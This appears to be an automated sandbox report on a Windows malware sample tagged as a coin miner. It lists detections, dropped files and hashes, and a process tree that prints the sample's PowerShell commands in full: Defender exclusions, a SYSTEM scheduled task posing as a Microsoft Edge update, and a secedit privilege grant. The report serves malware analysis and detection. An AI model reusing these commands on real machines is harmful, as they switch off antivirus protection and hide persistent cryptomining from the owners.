Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 02:47

General

  • Target
    2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
  • Size 9.4MB
  • Sample260721-c9wzfaev91
  • SHA256 ddf947a952a82555921c69d2b2dac0cfb793377237578af231b2a503834eaaa9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects executables containing URLs to raw contents of a Github gist 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
      "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe
        "C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1832
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
          4⤵
            PID:2132
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:5620
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
            4⤵
              PID:356
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
              4⤵
              • Executes dropped EXE
              PID:2136
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2664
              • C:\Windows\system32\SecEdit.exe
                "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                5⤵
                  PID:5804
                • C:\Windows\system32\SecEdit.exe
                  "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                  5⤵
                    PID:6112
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3216
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4576
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
              2⤵
                PID:3652
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5748
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
                2⤵
                  PID:3112
                • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: GetForegroundWindowSpam
                  PID:1968
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:6100
                  • C:\Windows\system32\SecEdit.exe
                    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                    3⤵
                      PID:252
                    • C:\Windows\system32\SecEdit.exe
                      "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                      3⤵
                        PID:5288
                  • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                    "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher
                    1⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:2304
                    • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
                      2⤵
                      • Executes dropped EXE
                      PID:1804

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        MicrosoftEdgeUpdate.exe

                        • Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                        • Size 9.4MB
                        • SHA256 ddf947a952a82555921c69d2b2dac0cfb793377237578af231b2a503834eaaa9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 34f4060ada48f684fb211efe47805ddc0bea9f65eb6ae17e98e99d8cbf56942b
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 354705524c4655148bd02cdcb9b9b830fc891598182c00d1539f5605788a9972
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 4b6c1dc08f0b29f68790d2245346be1a4198dd4768c0f60301192e4966e5ba68
                        • MD5 SHA1 SHA512 TLSH

                        GoonHUB.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
                        • Size 8.7MB
                        • SHA256 6149ef8794546d4474984da984370094112798100afd5d20d3fc8e497d588ca7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_hqhnrdsi.qos.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hqhnrdsi.qos.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        miner_setup_x64.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe
                        • Size 576KB
                        • SHA256 f823738d73cb78b055715749a69954d4eedec15b5b7ca8601038a22eadd27a30
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        sce31401.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\sce31401.tmp
                        • Size 12KB
                        • SHA256 556e294b0e630dedf376f4abfbae0f9cd30ae636d79ec09d99e29a9dd088840a
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        secpol.cfg

                        • Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
                        • Size 8KB
                        • SHA256 0df9f6ae0a928593ddc6731cb29ce4d005d33ba7c36df8feb5bf7d933c606e44
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1804-105-0x000001A539DF0000-0x000001A539E04000-memory.dmp

                        memory/1804-104-0x000001A539DF0000-0x000001A539E04000-memory.dmp

                        memory/3216-23-0x000001E5DD950000-0x000001E5DD95A000-memory.dmp

                        memory/3216-19-0x000001E5DDB70000-0x000001E5DDB8E000-memory.dmp

                        memory/3216-20-0x000001E5DDB90000-0x000001E5DDC42000-memory.dmp

                        memory/3216-14-0x000001E5DD8A0000-0x000001E5DD8C2000-memory.dmp

                        memory/5748-48-0x0000023FCB260000-0x0000023FCB27E000-memory.dmp